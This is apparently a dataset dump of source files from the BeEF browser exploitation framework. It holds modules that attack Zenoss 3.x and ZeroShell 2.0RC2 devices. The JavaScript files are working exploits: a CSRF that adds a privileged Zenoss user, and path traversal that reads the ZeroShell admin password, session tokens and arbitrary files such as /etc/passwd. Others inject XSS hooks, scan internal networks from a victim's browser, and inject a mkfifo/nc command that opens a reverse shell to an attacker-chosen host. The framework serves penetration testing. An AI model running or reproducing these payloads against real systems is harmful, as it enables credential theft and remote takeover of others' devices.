language
stringlengths
0
24
filename
stringlengths
9
214
code
stringlengths
99
9.93M
JavaScript
beef/modules/exploits/zenoss_add_user_csrf/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var base = '<%= @base %>'; var user_level = '<%= @user_level %>'; var username = '<%= @username %>'; var password = '<%= @password %>'; var zenoss_add_user_iframe = beef.dom.createInvisibleIframe(); zenoss_add_user_iframe.setAttribute('src', base+'/zport/dmd/ZenUsers?tableName=userlist&zenScreenName=manageUserFolder.pt&manage_addUser%3Amethod=OK&defaultAdminRole='+user_level+'&roles%3Alist='+user_level+'&userid='+username+'&password='+password); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); cleanup = function() { document.body.removeChild(zenoss_add_user_iframe); } setTimeout("cleanup()", 15000); });
YAML
beef/modules/exploits/zenoss_add_user_csrf/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: zenoss_add_user_csrf: enable: true category: "Exploits" name: "Zenoss 3.x Add User CSRF" description: "Attempts to add a user to a Zenoss Core 3.x server." authors: ["bcoles"] target: working: ["ALL"]
Ruby
beef/modules/exploits/zenoss_add_user_csrf/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Zenoss_add_user_csrf < BeEF::Core::Command def self.options [ { 'name' => 'base', 'ui_label' => 'Zenoss web root', 'value' => 'http://192.168.1.1:8080/' }, { 'name' => 'username', 'ui_label' => 'Username', 'value' => 'username' }, { 'name' => 'password', 'ui_label' => 'Password', 'value' => 'password' }, { 'name' => 'user_level', 'type' => 'combobox', 'ui_label' => 'User Level', 'store_type' => 'arraystore', 'store_fields' => ['user_level'], 'store_data' => [ ['Manager'], ['ZenManager'], ['ZenUser'] ], 'emptyText' => 'Select a user level ("Manager" is highest)', 'valueField' => 'user_level', 'displayField' => 'user_level', 'mode' => 'local', 'autoWidth' => true } ] end def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_dynamic_token/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var rhost = '<%= @rhost %>'; var rport = '<%= @rport %>'; var uripwd = "http://" + rhost + ":" + rport + "/cgi-bin/kerbynet?Section=NoAuthREQ&Action=Render&Object=../../../var/register/system/ldap/rootpw"; var uri = "http://" + rhost + ":" + rport + "/cgi-bin/kerbynet"; var pwd = ""; var token = ""; beef.debug("[ZeroShell_2.0RC2_admin_dynamic_token] Trying to retrieve admin password in plaintext: " + uripwd); beef.net.forge_request("http", "GET", rhost, rport, uripwd, null, null, null, 10, 'script', true, null, function(response1){ if(response1.status_code == 200){ pwd = response1.response_body.trim(); beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: Admin password retrieved : " + pwd, beef.are.status_success()); beef.debug("[ZeroShell_2.0RC2_admin_dynamic_token] Trying to authenticate admin user to gain dynamic token with password: " + pwd); beef.net.forge_request("http", "POST", rhost, rport, uri, true, null, { Action: "StartSessionSubmit", User: "admin", PW: pwd }, 10, 'script', false, null, function(response2){ if(response2.status_code == 200){ token = response2.response_body.substr(response2.response_body.indexOf("STk=")+4, 40); beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: Admin token retrieved : " + token, beef.are.status_success()); } else { beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: Second POST request to get admin token failed.", beef.are.status_error()); } }); } else { beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: First GET request to get admin password failed.", beef.are.status_error()); } }); });
YAML
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_dynamic_token/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: zeroshell_2_0rc2_admin_dynamic_token: enable: true category: ["Exploits", "ZeroShell"] name: "ZeroShell <= 2.0RC2 Admin Dynamic Token" description: "Attempts to get the admin dynamic token on a ZeroShell <= 2.0RC2 after trying an authentication with admin login and password.<br />This token can be used to get a reverse-shell. <br />This module works only when the hook is on ZeroShell, please migrate to the ZeroShell target before using it.<br />Vulnerability found and PoC provided by Yann CAM <a href='http://www.asafety.fr' target='_blank'>@ASafety</a> / <a href='http://www.synetis.com' target='_blank'>Synetis</a>.<br />BeEF module originally created by ycam.<br />For more information refer to <a href='http://packetstormsecurity.com/files/122799/zeroshell-execdisclose.txt' target='_blank'>http://packetstormsecurity.com/files/122799/zeroshell-execdisclose.txt</a><br />Patched in version 2.0RC3.<br />" authors: ["ycam"] target: working: ["ALL"]
Ruby
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_dynamic_token/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Zeroshell_2_0rc2_admin_dynamic_token < BeEF::Core::Command def self.options [ { 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '192.168.0.1' }, { 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '80' } ] end def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_password/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var rhost = '<%= @rhost %>'; var rport = '<%= @rport %>'; var uri = "http://" + rhost + ":" + rport + "/cgi-bin/kerbynet?Section=NoAuthREQ&Action=Render&Object=../../../var/register/system/ldap/rootpw"; beef.debug("[ZeroShell_2.0RC2_admin_password] Trying to retrieve admin password in plaintext: " + uri); beef.net.forge_request("http", "GET", rhost, rport, uri, null, null, null, 10, 'script', true, null, function(response){ if(response.status_code == 200){ beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: ZeroShell admin password : [" + response.response_body + "]", beef.are.status_success()); }else{ beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: GET request failed.", beef.are.status_error()); } }); });
YAML
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_password/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: zeroshell_2_0rc2_admin_password: enable: true category: ["Exploits", "ZeroShell"] name: "ZeroShell <= 2.0RC2 Admin Password" description: "Attempts to get the admin password on a ZeroShell <= 2.0RC2<br />This module works only when the hook is on ZeroShell, please migrate to the ZeroShell target before using it.<br />Vulnerability found and PoC provided by Yann CAM <a href='http://www.asafety.fr' target='_blank'>@ASafety</a> / <a href='http://www.synetis.com' target='_blank'>Synetis</a>.<br />BeEF module originally created by ycam.<br />For more information refer to <a href='http://packetstormsecurity.com/files/122799/zeroshell-execdisclose.txt' target='_blank'>http://packetstormsecurity.com/files/122799/zeroshell-execdisclose.txt</a><br />Patched in version 2.0RC3.<br />" authors: ["ycam"] target: working: ["ALL"]
Ruby
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_password/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Zeroshell_2_0rc2_admin_password < BeEF::Core::Command def self.options [ { 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '192.168.0.1' }, { 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '80' } ] end def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_static_token/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var rhost = '<%= @rhost %>'; var rport = '<%= @rport %>'; var uri = "http://" + rhost + ":" + rport + "/cgi-bin/kerbynet?Section=NoAuthREQ&Action=Render&Object=../../../tmp/STk_Admin"; beef.debug("[ZeroShell_2.0RC2_admin_static_token] Trying to retrieve admin static token: " + uri); beef.net.forge_request("http", "GET", rhost, rport, uri, null, null, null, 10, 'script', true, null, function(response){ if(response.status_code == 200){ beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: ZeroShell admin static token : [" + response.response_body + "]", beef.are.status_success()); }else{ beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: GET request failed.", beef.are.status_error()); } }); });
YAML
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_static_token/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: zeroshell_2_0rc2_admin_static_token: enable: true category: ["Exploits", "ZeroShell"] name: "ZeroShell <= 2.0RC2 Admin Static Token" description: "Attempts to get the admin static token on a ZeroShell <= 2.0RC2 from the last token saved on filesystem.<br />This token can be not the latest to use to get a reverse-shell. You should used the dynamic token generated through an authentication.<br />This module works only when the hook is on ZeroShell, please migrate to the ZeroShell target before using it<br />Vulnerability found and PoC provided by Yann CAM <a href='http://www.asafety.fr' target='_blank'>@ASafety</a> / <a href='http://www.synetis.com' target='_blank'>Synetis</a>.<br />BeEF module originally created by ycam.<br />For more information refer to <a href='http://packetstormsecurity.com/files/122799/zeroshell-execdisclose.txt' target='_blank'>http://packetstormsecurity.com/files/122799/zeroshell-execdisclose.txt</a><br />Patched in version 2.0RC3.<br />" authors: ["ycam"] target: working: ["ALL"]
Ruby
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_static_token/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Zeroshell_2_0rc2_admin_static_token < BeEF::Core::Command def self.options [ { 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '192.168.0.1' }, { 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '80' } ] end def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_file_disclosure/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var rhost = '<%= @rhost %>'; var rport = '<%= @rport %>'; var rfile = '<%= @rfile %>'; var uri = "http://" + rhost + ":" + rport + "/cgi-bin/kerbynet?Section=NoAuthREQ&Action=Render&Object=../../../" + rfile; beef.debug("[ZeroShell_2.0RC2_file_disclosure] Trying to retrieve local file: " + uri); beef.net.forge_request("http", "GET", rhost, rport, uri, null, null, null, 10, 'script', true, null, function(response){ if(response.status_code == 200){ beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: ZeroShell file [" + rfile + "] content : [" + response.response_body + "]", beef.are.status_success()); }else{ beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: GET request failed.", beef.are.status_error()); } }); });
YAML
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_file_disclosure/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: zeroshell_2_0rc2_file_disclosure: enable: true category: ["Exploits", "ZeroShell"] name: "ZeroShell <= 2.0RC2 File Disclosure" description: "Attempts to get file content on a ZeroShell <= 2.0RC2.<br />This module works only when the hook is on ZeroShell, please migrate to the ZeroShell target before using it<br />Vulnerability found and PoC provided by Yann CAM <a href='http://www.asafety.fr' target='_blank'>@ASafety</a> / <a href='http://www.synetis.com' target='_blank'>Synetis</a>.<br />BeEF module originally created by ycam.<br />For more information refer to <a href='http://packetstormsecurity.com/files/122799/zeroshell-execdisclose.txt' target='_blank'>http://packetstormsecurity.com/files/122799/zeroshell-execdisclose.txt</a><br />Patched in version 2.0RC3.<br />" authors: ["ycam"] target: working: ["ALL"]
Ruby
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_file_disclosure/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Zeroshell_2_0rc2_file_disclosure < BeEF::Core::Command def self.options [ { 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '192.168.0.1' }, { 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '80' }, { 'name' => 'rfile', 'ui_label' => 'Absolute file path', 'value' => '/etc/passwd' } ] end def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_migrate_hook/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var rhost = '<%= @rhost %>'; var rport = '<%= @rport %>'; var hook = beef.net.httpproto + "://" + beef.net.host + ":" + beef.net.port + beef.net.hook; var target = "http://" + rhost + ":" + rport +"/cgi-bin/kerbynet?Section=NoAuthREQ&Action=Render&Object=x<script src='" + hook + "'></script>"; beef.debug("[ZeroShell_2.0RC2_migrate_hook] Trying to retrieve migrate BeEF hook in ZeroShell context: " + target); var iframe_<%= @command_id %> = beef.dom.createInvisibleIframe(); iframe_<%= @command_id %>.setAttribute('src', target); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=BeEF hook should be sent to ZeroShell", beef.are.status_unknown()); });
YAML
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_migrate_hook/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: zeroshell_2_0rc2_migrate_hook: enable: true category: ["Exploits", "ZeroShell"] name: "ZeroShell <= 2.0RC2 Migrate Hook" description: "Attempts to put the BeEF's hook on a ZeroShell <= 2.0RC2.<br />Vulnerability found and PoC provided by Yann CAM <a href='http://www.asafety.fr' target='_blank'>@ASafety</a> / <a href='http://www.synetis.com' target='_blank'>Synetis</a>.<br />BeEF module originally created by ycam.<br />For more information refer to <a href='http://packetstormsecurity.com/files/122799/zeroshell-execdisclose.txt' target='_blank'>http://packetstormsecurity.com/files/122799/zeroshell-execdisclose.txt</a><br />Patched in version 2.0RC3.<br />" authors: ["ycam"] target: working: ["FF"]
Ruby
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_migrate_hook/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Zeroshell_2_0rc2_migrate_hook < BeEF::Core::Command def self.options [ { 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '192.168.0.1' }, { 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '80' } ] end def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var rhost = '<%= @rhost %>'; var rport = '<%= @rport %>'; var lhost = '<%= @lhost %>'; var lport = '<%= @lport %>'; var uripwd = "http://" + rhost + ":" + rport + "/cgi-bin/kerbynet?Section=NoAuthREQ&Action=Render&Object=../../../var/register/system/ldap/rootpw"; var uri = "http://" + rhost + ":" + rport + "/cgi-bin/kerbynet"; var pwd = ""; var token = ""; var payload = 'beef" localhost && rm -f /tmp/x;mkfifo /tmp/x;cat /tmp/x|/bin/sh -i 2>&1|nc ' + lhost + ' ' + lport + ' > /tmp/x #'; beef.debug("[ZeroShell_2.0RC2_reverse_shell_csrf_sop] Trying to retrieve admin password in plaintext: " + uripwd); beef.net.forge_request("http", "GET", rhost, rport, uripwd, null, null, null, 10, 'script', true, null, function(response1){ if(response1.status_code == 200){ pwd = response1.response_body.trim(); beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: Admin password retrieved : " + pwd, beef.are.status_success()); beef.debug("[ZeroShell_2.0RC2_reverse_shell_csrf_sop] Trying to authenticate admin user to gain dynamic token with password: " + pwd); beef.net.forge_request("http", "POST", rhost, rport, uri, true, null, { Action: "StartSessionSubmit", User: "admin", PW: pwd }, 10, 'script', false, null, function(response2){ if(response2.status_code == 200){ token = response2.response_body.substr(response2.response_body.indexOf("STk=")+4, 40); beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: Admin token retrieved : " + token, beef.are.status_success()); beef.debug("[ZeroShell_2.0RC2_reverse_shell_csrf_sop] Trying to spawn a reverse-shell via CSRF in ZeroShell SOP context."); beef.net.forge_request("http", "POST", rhost, rport, uri, true, null, { Action: "Lookup", Section: "DNS", DNS: "localhost", STk: token, What: payload }, 10, 'script', false, null, function(response3){ beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: Reverse shell should have been triggered.", beef.are.status_unknown()); } ); } else { beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: Second POST request to get admin token failed.", beef.are.status_error()); } }); } else { beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: First GET request to get admin password failed.", beef.are.status_error()); } }); });
YAML
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: zeroshell_2_0rc2_reverse_shell_csrf_sop: enable: true category: ["Exploits", "ZeroShell"] name: "ZeroShell <= 2.0RC2 Reverse Shell CSRF SOP" description: "Attempts to get a reverse shell on a ZeroShell <= 2.0RC2 without known credentials<br />This module works only when the hook is on ZeroShell, please migrate to the ZeroShell target before using it ; or use the ZeroShell SOP-bypass module.<br />Vulnerability found and PoC provided by Yann CAM <a href='http://www.asafety.fr' target='_blank'>@ASafety</a> / <a href='http://www.synetis.com' target='_blank'>Synetis</a>.<br />BeEF module originally created by ycam.<br />For more information refer to <a href='http://packetstormsecurity.com/files/122799/zeroshell-execdisclose.txt' target='_blank'>http://packetstormsecurity.com/files/122799/zeroshell-execdisclose.txt</a><br />Patched in version 2.0RC3.<br />" authors: ["ycam"] target: working: ["ALL"]
Ruby
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Zeroshell_2_0rc2_reverse_shell_csrf_sop < BeEF::Core::Command def self.options @configuration = BeEF::Core::Configuration.instance lhost = @configuration.beef_host lhost = '' if lhost == '0.0.0.0' [ { 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '192.168.0.1' }, { 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '80' }, { 'name' => 'lhost', 'ui_label' => 'Local Host', 'value' => lhost }, { 'name' => 'lport', 'ui_label' => 'Local Port', 'value' => '4444' } ] end def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var rhost = '<%= @rhost %>'; var rport = '<%= @rport %>'; var lhost = '<%= @lhost %>'; var lport = '<%= @lport %>'; var hook = beef.net.httpproto + "://" + beef.net.host + ":" + beef.net.port + "/x.js"; var target = "http://" + rhost + ":" + rport +"/cgi-bin/kerbynet?Section=NoAuthREQ&Action=Render&Object=x<script src='" + hook + "'></script>#lhost=" + lhost + "&lport=" + lport; beef.debug("[ZeroShell_2.0RC2_reverse_shell_csrf_sop_bypass] Trying to spawn a reverse-shell via XSS/CSRF in ZeroShell with SOP bypass."); var iframe_<%= @command_id %> = beef.dom.createInvisibleIframe(); iframe_<%= @command_id %>.setAttribute('src', target); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=OK: Reverse shell should have been triggered.", beef.are.status_unknown()); });
YAML
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass: enable: true category: ["Exploits", "ZeroShell"] name: "ZeroShell <= 2.0RC2 Reverse Shell CSRF SOP Bypass" description: "Attempts to get a reverse shell on a ZeroShell <= 2.0RC2 without known credentials<br />This module bypass SOP, so you can use it from another hooked domain.<br />Vulnerability found and PoC provided by Yann CAM <a href='http://www.asafety.fr' target='_blank'>@ASafety</a> / <a href='http://www.synetis.com' target='_blank'>Synetis</a>.<br />BeEF module originally created by ycam.<br />For more information refer to <a href='http://packetstormsecurity.com/files/122799/zeroshell-execdisclose.txt' target='_blank'>http://packetstormsecurity.com/files/122799/zeroshell-execdisclose.txt</a><br />Patched in version 2.0RC3.<br />" authors: ["ycam"] target: working: ["FF"]
Ruby
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass < BeEF::Core::Command def pre_send BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass/x.js', '/x', 'js') end def self.options @configuration = BeEF::Core::Configuration.instance lhost = @configuration.beef_host lhost = '' if lhost == '0.0.0.0' [ { 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '192.168.0.1' }, { 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '80' }, { 'name' => 'lhost', 'ui_label' => 'Local Host', 'value' => lhost }, { 'name' => 'lport', 'ui_label' => 'Local Port', 'value' => '4444' } ] end def post_execute BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('x.js') save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass/x.js
var h=document.getElementsByTagName('head')[0]; var j=document.createElement('script'); j.src='http://code.jquery.com/jquery-latest.min.js'; h.appendChild(j); var pwd=""; var token=""; var hash = window.location.hash.substring(1); var lhost = hash.substring(hash.indexOf("lhost=")+6, hash.indexOf("&")); var lport = hash.substring(hash.indexOf("lport=")+6, hash.length); var payload='beef%22+localhost+%26%26+rm+-f+%2Ftmp%2Fx%3Bmkfifo+%2Ftmp%2Fx%3Bcat+%2Ftmp%2Fx%7C%2Fbin%2Fsh+-i+2%3E%261%7Cnc+' + lhost + '+' + lport + '+%3E+%2Ftmp%2Fx+%23'; setTimeout(function (){ // first AJAX call in ZeroShell context to retieve the console admin password in plaintext $.ajax({ type: 'GET', url: "/cgi-bin/kerbynet?Section=NoAuthREQ&Action=Render&Object=../../../var/register/system/ldap/rootpw", contentType: 'application/x-www-form-urlencoded;charset=utf-8', success: function(result){ pwd = result.trim(); if(pwd != ""){ // second AJAX call in ZeroShell context to make a valid authentication with login "admin" and the password previously retrived $.ajax({ type: 'POST', url: "/cgi-bin/kerbynet", contentType: 'application/x-www-form-urlencoded;charset=utf-8', dataType: 'text', data: 'Action=StartSessionSubmit&User=admin&PW='+pwd, success: function(result){ // extract the current session token from the authentication performed token = result.substr(result.indexOf("STk=")+4, 40); // third AJAX call in ZeroShell context to spawn a reverse-shell with the right session token $.ajax({ type: 'POST', url: "/cgi-bin/kerbynet", contentType: 'application/x-www-form-urlencoded;charset=utf-8', dataType: 'text', data: 'Action=Lookup&STk='+token+'&Section=DNS&What='+payload+'&DNS=localhost' }); } }); } } }); }, 5000);
JavaScript
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_scanner/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // var imgPath = "/kerbynet/Zeroshell.gif"; // fingerprint img to detect a ZeroShell instance var ip_start = '<%= @ip_start %>'; // IP start range var ip_end = '<%= @ip_end %>'; // IP end range var timeout = '<%= @timeout %>'; // Timeout in ms to wait beetween each bloc scan and results sent to BeEF C&C (default 30000ms) var ip_bloc = '<%= @ip_bloc %>'; // Size of each IP bloc to scan (default 100) // Function added to convert string IPv4 to long function ip2long(IP) { // discuss at: http://phpjs.org/functions/ip2long/ // original by: Waldo Malqui Silva (http://waldo.malqui.info) // improved by: Victor // revised by: fearphage (http://http/my.opera.com/fearphage/) // revised by: Theriault // example 1: ip2long('192.0.34.166'); // returns 1: 3221234342 // example 2: ip2long('0.0xABCDEF'); // returns 2: 11259375 // example 3: ip2long('255.255.255.256'); // returns 3: false var i = 0; // PHP allows decimal, octal, and hexadecimal IP components. // PHP allows between 1 (e.g. 127) to 4 (e.g 127.0.0.1) components. IP = IP.match( /^([1-9]\d*|0[0-7]*|0x[\da-f]+)(?:\.([1-9]\d*|0[0-7]*|0x[\da-f]+))?(?:\.([1-9]\d*|0[0-7]*|0x[\da-f]+))?(?:\.([1-9]\d*|0[0-7]*|0x[\da-f]+))?$/i ); // Verify IP format. if (!IP) { // Invalid format. return false; } // Reuse IP variable for component counter. IP[0] = 0; for (i = 1; i < 5; i += 1) { IP[0] += !! ((IP[i] || '') .length); IP[i] = parseInt(IP[i]) || 0; } // Continue to use IP for overflow values. // PHP does not allow any component to overflow. IP.push(256, 256, 256, 256); // Recalculate overflow of last component supplied to make up for missing components. IP[4 + IP[0]] *= Math.pow(256, 4 - IP[0]); if (IP[1] >= IP[5] || IP[2] >= IP[6] || IP[3] >= IP[7] || IP[4] >= IP[8]) { return false; } return IP[1] * (IP[0] === 1 || 16777216) + IP[2] * (IP[0] <= 2 || 65536) + IP[3] * (IP[0] <= 3 || 256) + IP[4] * 1; } // Function added to convert long to string IPv4 function long2ip(ip) { // discuss at: http://phpjs.org/functions/long2ip/ // original by: Waldo Malqui Silva (http://waldo.malqui.info) // example 1: long2ip( 3221234342 ); // returns 1: '192.0.34.166' if (!isFinite(ip)) return false; return [ip >>> 24, ip >>> 16 & 0xFF, ip >>> 8 & 0xFF, ip & 0xFF].join('.'); } var ip_from_long = ip2long(ip_start); // Convert string IPv4 start range to long var ip_to_long = ip2long(ip_end); // Convert string IPv4 end range to long beef.execute(function() { var result = ""; // Buffer to retrieve results var div = document.createElement('div'); // Hidden div container div.setAttribute('style', 'display:none;'); document.body.appendChild(div); add = function(data){ result += data + " "; } // Scan function to inject <img> markups in victim's DOM. // This function is recalled by herself to scan each IP bloc of the IP range defined scan = function(){ var i = 0; // Counter compared to IP bloc size var ip_from_long_bloc = ip_from_long; // Save the begining IPv4 address for the current bloc beef.debug("[ZeroShell_2.0RC2_scanner] Scan the subnet block from " + long2ip(ip_from_long) + " to " + long2ip(ip_to_long) + "."); while((ip_from_long <= ip_to_long) && (i < ip_bloc)){ var img = document.createElement('img'); var ip = long2ip(ip_from_long); img.setAttribute('src', "http://" + ip + imgPath); // Payload to detect ZeroShell instance img.setAttribute('onload', "add('" + ip + "');"); // Event triggered of ZeroShell is detected div.appendChild(img); // Add current <img> markup to the hidden div in the victim's DOM ip_from_long++; // Increment long IPv4 i++; } var ip_to_long_bloc = ip_from_long; // Save the ending IPv4 address for the current bloc // Function to return results of the current bloc scanned to BeEF C&C, after "timeout" ms waited. getResult = function(){ if(result.trim() != "") beef.net.send("<%= @command_url %>", <%= @command_id %>, "Result= Bloc [" + long2ip(ip_from_long_bloc) + " - " + long2ip(ip_to_long_bloc-1) + "] ZeroShell(s) detected : [ " + result + "]", beef.are.status_success()); else beef.net.send("<%= @command_url %>", <%= @command_id %>, "Result= Bloc [" + long2ip(ip_from_long_bloc) + " - " + long2ip(ip_to_long_bloc-1) + "] No ZeroShell detected on that IP range bloc...", beef.are.status_unknown()); div.innerHTML = ""; // Clean the current DOM's div result = ""; // Clear the result of the bloc tested for the next loop } setTimeout("getResult()", timeout); // Wait "timeout" ms before sending results to BeEF C&C of the current bloc. if(ip_from_long <= ip_to_long) // While we don't have test all IPv4 in the range setTimeout("scan()", timeout*1.5); // Re-call the scan() function to proceed with the next bloc else // We have reach the last IP address to scan setTimeout(function(){ // Clear the victim's DOM and tell to BeEF C&C that the scan is complete document.body.removeChild(div); beef.net.send("<%= @command_url %>", <%= @command_id %>, "Result= Scan is complete on the defined range [" + ip_start + " - " + ip_end + "] (DOM cleared)", beef.are.status_success()); }, timeout*2); } scan(); // Run the first bloc scan });
YAML
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_scanner/config.yaml
